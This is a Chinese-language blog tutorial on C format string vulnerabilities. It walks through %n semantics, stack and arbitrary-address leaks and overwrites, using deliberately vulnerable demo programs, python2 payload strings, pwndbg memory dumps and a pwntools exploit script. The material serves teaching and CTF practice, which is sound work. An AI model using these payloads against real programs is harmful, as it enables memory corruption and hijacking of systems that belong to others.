格式化字符串漏洞

12 篇文章 0 订阅


格式化字符串漏洞基本已经销声匿迹了,不过在iot设备上可能还会存在。

1. 再看printf

printf家族函数

#include <stdio.h>
int printf();
int fprintf();
int dprintf();
int sprintf();
int snprintf();


#include <stdarg.h>
int vprintf();
int vfprintf();
int vdprintf();
int vsprintf();
int vsnprintf();

f: arg0-> FILE stream
d: arg0-> int fd
s: arg0-> char
pDst
n: arg1-> size_t size
v: args[-1]-> va_list,而不是三个点...

转换规则

%d,%u,%x,%s,%c这些转换指示符我们都熟悉:

printf("%.2f", 1.2345);   // 1.23
printf("%#010x", 3735928559);   // // 0xdeadbeef

造成漏洞的是不常见的%n,它将%n之前打印出来的字符个数,赋值给一个变量。

%n还可以指定目标buf的长度:

  • hh: 1-byte, char
  • h: 2-byte, short int
  • l: 4-byte, long int
  • ll: 8-byte, long long int

写个demo:

char c = 0;
printf("01234 %hhn", &c);
printf("%d\n", c);  // 6

另外还可以指定第几个参数(linux上测试通过):

printf("%2$s %1$s\n", "world", "hello");    // hello world

2. 漏洞原理

关键是记住%M$n这个格式(重复读几次):

  • 要写入的值:是前面输出的字符数,是前面输出的字符数,是前面输出的字符数;
  • 计算M:要写入的目标地址,是格式字符串地址+M*目标长度,是格式字符串地址+M*sizeof(void*),是格式字符串地址+M*sizeof(void*);
  • 长度可以指定hh/h/l/ll; 长度可以指定hh/h/l/ll; 长度可以指定hh/h/l/ll;

总之,写操作的三要素就是:偏移、长度、值。

危害

使程序崩溃:无效指针会使得进程收到SIGSEGV信号, 比如printf("%s%s%s%s%s"),会发生非法访问。

栈数据泄露:原理就是利用%n$x格式字符串,n为格式字符串后面的第 n 个值。

任意地址内存泄露:利用%n$s,把参数看作字符串(指针),只要能够控制第n个参数的值,就可以读出这个地址的内容。

栈数据覆盖:

任意地址内存覆盖。

防范

现在的编译器都会检查参数个数与格式字符串是否匹配。

另外FORTITY_SOURCE机制会将危险函数替换为安全函数,支持的函数有printf系列,也能起到防范效果。

3. 任意地址内存泄漏 Demo

#include<stdio.h>
void main() {
    char format[128];
    int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
    char arg4[10] = "ABCD";
    scanf("%s", format);
    printf(format, arg1, arg2, arg3, arg4);
    printf("\n");
}

编译:

gcc -m32 -fno-stack-protector -no-pie pwnme.c

调试到scanf,输入:

AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

继续走到printf,查看栈数据:

 ► 7     printf(format, arg1, arg2, arg3, arg4);
   8     printf("\n");
   9 }
──────────────────────────────[ STACK ]────────────────────────────
00:0000│ esp 0xffffd350 —▸ 0xffffd384 ◂— 'AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
01:0004│     0xffffd354 ◂— 0x1
02:0008│     0xffffd358 ◂— 0x88888888
03:000c│     0xffffd35c ◂— 0xffffffff
04:0010│     0xffffd360 —▸ 0xffffd37a ◂— 'ABCD'
05:0014│     0xffffd364 —▸ 0xffffd384 ◂— 'AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
06:0018│     0xffffd368 ◂— 0xc2
07:001c│     0xffffd36c —▸ 0x80484d0 (main+26) ◂— add    ebx, 0x1b30
────────────────────────────[ BACKTRACE ]────────────────────────────
 ► f 0 0x804853b main+133
   f 1 0xf7df5fa1 __libc_start_main+241
─────────────────────────────────────────────────────────────────────
pwndbg> x /40x $esp
0xffffd350:     0xffffd384      0x00000001      0x88888888      0xffffffff
0xffffd360:     0xffffd37a      0xffffd384      0x000000c2      0x080484d0
0xffffd370:     0xf7fdf449      0xf63d4e2e      0x4241daf8      0x00004443
0xffffd380:     0x00000000      0x41414141      0x2e70252e      0x252e7025
0xffffd390:     0x70252e70      0x2e70252e      0x252e7025      0x70252e70
0xffffd3a0:     0x2e70252e      0x252e7025      0x70252e70      0x2e70252e
0xffffd3b0:     0x252e7025      0x70252e70      0x2e70252e      0x252e7025

0x41414141位于第13((0xffffd384-0xffffd350) / 4)个参数,修改输入, 把AAAA换成arg4的地址0xffffd37a:

python2 -c 'print("\x7a\xd3\xff\xff" + "%13$s")' > tmp    # python3不行,编码是硬伤  xxd工具可以测试
pwndbg> start < ./tmp
pwndbg> x /30x $esp
0xffffd350:     0xffffd384      0x00000001      0x88888888      0xffffffff
0xffffd360:     0xffffd37a      0xffffd384      0x000000c2      0x080484d0
0xffffd370:     0xf7fdf449      0xf63d4e2e      0x4241daf8      0x00004443
0xffffd380:     0x00000000      0xffffd37a      0x24333125      0xffff0073
pwndbg> p arg4
$1 = "ABCD\000\000\000\000\000"
pwndbg> n
z▒▒▒ABCD

成功输出arg4: ABCD

实际利用中,可以把arg4换成GOT表中任意函数的地址,读出函数的虚拟地址,再根据函数在libc中的相对位置,计算出任意函数地址,比如system()。

但实际并不总是这么顺利,如果GOT中的地址有不可见地址,比如\x07, \x08, \x0c, \x20,那就会被程序忽略,导致无法输入。

4. 覆盖栈数据

通常情况下,需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字,于是可以在格式字符串中加上一个十进制整数来表示输出的最小位数:

#include<stdio.h>
void main() {
    int i;

    printf("%10u%n\n", 1, &i);
    printf("%d\n", i);
    printf("%.50u%n\n", 1, &i);
    printf("%d\n", i);
    printf("%0100u%n\n", 1, &i);
    printf("%d\n", i);
    
    printf("%0134512640d%n\n", 1, &i);	// i = 0x8048000
}

构造格式化字符串时,其实就是按照这样的格式:

目标变量的地址 %Nd  %M$n
N + sizeof(void*) 就是写入的值
调用printf时目标变量是esp之后的第M个参数

5. 任意地址覆盖

思路再开阔一下,上面覆盖栈数据的值,一定是不小于指针大小(4或8)的,如果以刚刚的代码为例, 要覆盖第2个参数arg2成小于2呢?

%n前面肯定只能输出两个字符,那目标变量的地址只能放到%n后面:

AA %M$n Padding 目标变量的地址

其实就是不应定非要把目标变量的地址放在格式化字符串的开头。之所以要有Padding,是因为地址要与4或8对齐。

再调试一下:

pwndbg> x /20x $esp
0xffffd350:     0xffffd384      0x00000001      0x88888888      0xffffffff
0xffffd360:     0xffffd37a      0xffffd384      0x000000c2      0x080484d0
0xffffd370:     0xf7fdf449      0xf63d4e2e      0x4241daf8      0x00004443
0xffffd380:     0x00000000      0x41414141      0x41414141      0x41414141

构造:

arg2地址0xffffd358
AA%$n就占了5个字符,M再占两位,现在要填充到8个字符,即0xffffd38c(第15个参数)这个地方会填充为arg2地址。
AA%15$nA\x8c\xd3\xff\xff

测试:

python2 -c 'print("AA%15$nA" + "\x58\xd3\xff\xff")' > tmp
pwndbg> start < ./tmp
pwndbg> x /20x $esp
0xffffd350:     0xffffd384      0x00000001      0x88888888      0xffffffff
0xffffd360:     0xffffd37a      0xffffd384      0x000000c2      0x080484d0
0xffffd370:     0xf7fdf449      0xf63d4e2e      0x4241daf8      0x00004443
0xffffd380:     0x00000000      0x31254141      0x416e2435      0xffffd358
pwndbg> n
pwndbg> x /20x $esp-0x20
0xffffd350:     0xffffd384      0x00000001      0x00000002      0xffffffff
0xffffd360:     0xffffd37a      0xffffd384      0x000000c2      0x080484d0
0xffffd370:     0xf7fdf449      0xf63d4e2e      0x4241daf8      0x00004443

arg2被成功覆盖。


再说说覆盖成超大值的情况,比如0x41424344。刚刚是改了%n在格式化字符串中的位置,现在把%n限制程度,写成%hhn,也就是以字节为单位进行覆盖。

现在要把arg2覆盖成0x12345678, 那就要依次覆盖0xffffd358到0xffffd35b四个字节(四个地址)。

计算一下,四个地址是16字节,那么各个地址要写入的值:

  • 0xffffd358 : 0x78 == 16 + 104;
  • 0xffffd359 : 0x56 == (0x78 + x) & 0xff, 这里一定会进位,那么x == 0x156 - 0x78 == 222;
  • 0xffffd35a : 0x34 == (0x156 + x) & 0xff,x == 0x234 - 0x156 == 222;
  • 0xffffd35b : 0x12 == (0x234 + x) & 0xff, x == 0x312 - 0x234 == 222;

巧了,3个%222c ~

python2 -c 'print("\x58\xd3\xff\xff"+"\x59\xd3\xff\xff"+"\x5a\xd3\xff\xff"+"\x5b\xd3\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")' > tmp
pwndbg> x /40x $esp
0xffffd350:     0xffffd384      0x00000001      0x88888888      0xffffffff
0xffffd360:     0xffffd37a      0xffffd384      0x000000c2      0x080484d0
0xffffd370:     0xf7fdf449      0xf63d4e2e      0x4241daf8      0x00004443
0xffffd380:     0x00000000      0xffffd358      0xffffd359      0xffffd35a
pwndbg> n
pwndbg> x /40x $esp-0x20
0xffffd350:     0xffffd384      0x00000001      0x12345678      0xffffffff
0xffffd360:     0xffffd37a      0xffffd384      0x000000c2      0x080484d0
0xffffd370:     0xf7fdf449      0xf63d4e2e      0x4241daf8      0x00004443
0xffffd380:     0x00000000      0xffffd358      0xffffd359      0xffffd35a
0xffffd390:     0xffffd35b      0x34303125      0x33312563      0x6e686824
0xffffd3a0:     0x32323225      0x34312563      0x6e686824      0x32323225

覆盖成功。

6. Pwntool Demo

http://docs.pwntools.com/en/dev/fmtstr.html

pwnlib.fmtstr 模块的文档提供了一个示例:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{
       char buff[1024];
       void *ptr = NULL;
       int *my_var = TARGET;
       ptr = mmap(MEMORY_ADDRESS, 
                  MEMORY_SIZE, 
                  PROT_READ|PROT_WRITE, 
                  MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 
                  0, 0);
       if(ptr != MEMORY_ADDRESS)
       {
               perror("mmap");
               return EXIT_FAILURE;
       }
       *my_var = 0x41414141;
       write(1, &my_var, sizeof(int *));
       scanf("%s", buff);
       dprintf(2, buff);
       write(1, my_var, sizeof(int));
       return 0;
}

编译:

gcc -m32 -fno-stack-protector -no-pie -g pwnme.c -o pwnme

exp:

# coding:utf-8
from pwn import *

context()

program = "./pwnme"
def exec_fmt(payload):
    p = process(program)
    p.sendline(payload)
    return p.recvall()

autofmt = FmtStr(exec_fmt)  # 获取格式字符串在执行printf时距离esp的偏移
offset = autofmt.offset     # M == 6

p = process(program, stderr=subprocess.PIPE)	
# c程序里printf输出到stderr(默认STDOUT),但我们不需要读这段输出,所以用单独的管道处理一下
# stderr(int):
#             File object or file descriptor number to use for ``stderr``.
#             By default, ``stdout`` is used.
#             May also be ``subprocess.PIPE`` to use a separate pipe,
#             although the ``tube`` wrapper will not be able to read this data.
gdb.attach(p)
pause()
addr = u32(p.recv(4))   # 0x11111110
payload = fmtstr_payload(offset, {addr: 0x1337babe})
# \x10\x11\x11\x11 \x11\x11\x11\x11 \x12\x11\x11\x11 \x13\x11\x11\x11
# %174c %6$hhn   hex((16 + 174) & 0xFF) == hex(0xbe & 0xFF) == 0xbe
# %252c %7$hhn   hex((0xbe + 252) & 0xFF) == hex(0x1ba & 0xFF) == 0xba
# %125c %8$hhn   hex((0x1ba + 125) & 0xFF) == hex(0x237 & 0xFF) == 0x37
# %220c %9$hhn   hex((0x237 + 220) & 0xFF) == hex(0x313 & 0xFF) == 0x13
p.sendline(payload)
print(hex(unpack(p.recv(4))))
p.interactive()

调试查看:

0x80485d0 <main+186>    call   dprintf@plt                     <dprintf@plt>
        fd: 0x2 (pipe:[325649])
        fmt: 0xffb6411c —▸ 0x11111110 ◂— 'AAAA'
        vararg: 0x4
pwndbg> x /20x $esp
0xffb64100:	0x00000002	0xffb6411c	0x00000004	0x08048530
0xffb64110:	0x00000001	0x00000001	0x11111110	0x11111110
0xffb64120:	0x11111111	0x11111112	0x11111113	0x34373125
pwndbg> n
pwndbg> x /20x my_var
0x11111110:	0x1337babe	0x00000000	0x00000000	0x00000000
...

7. 工具

IDA插件LazyIDA:https://github.com/L4ys/LazyIDA,可以自动查找字符串漏洞。

8. 参考文章

https://firmianay.gitbook.io/ctf-all-in-one/3_topics/pwn/3.1.1_format_string

http://docs.pwntools.com/en/dev/fmtstr.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值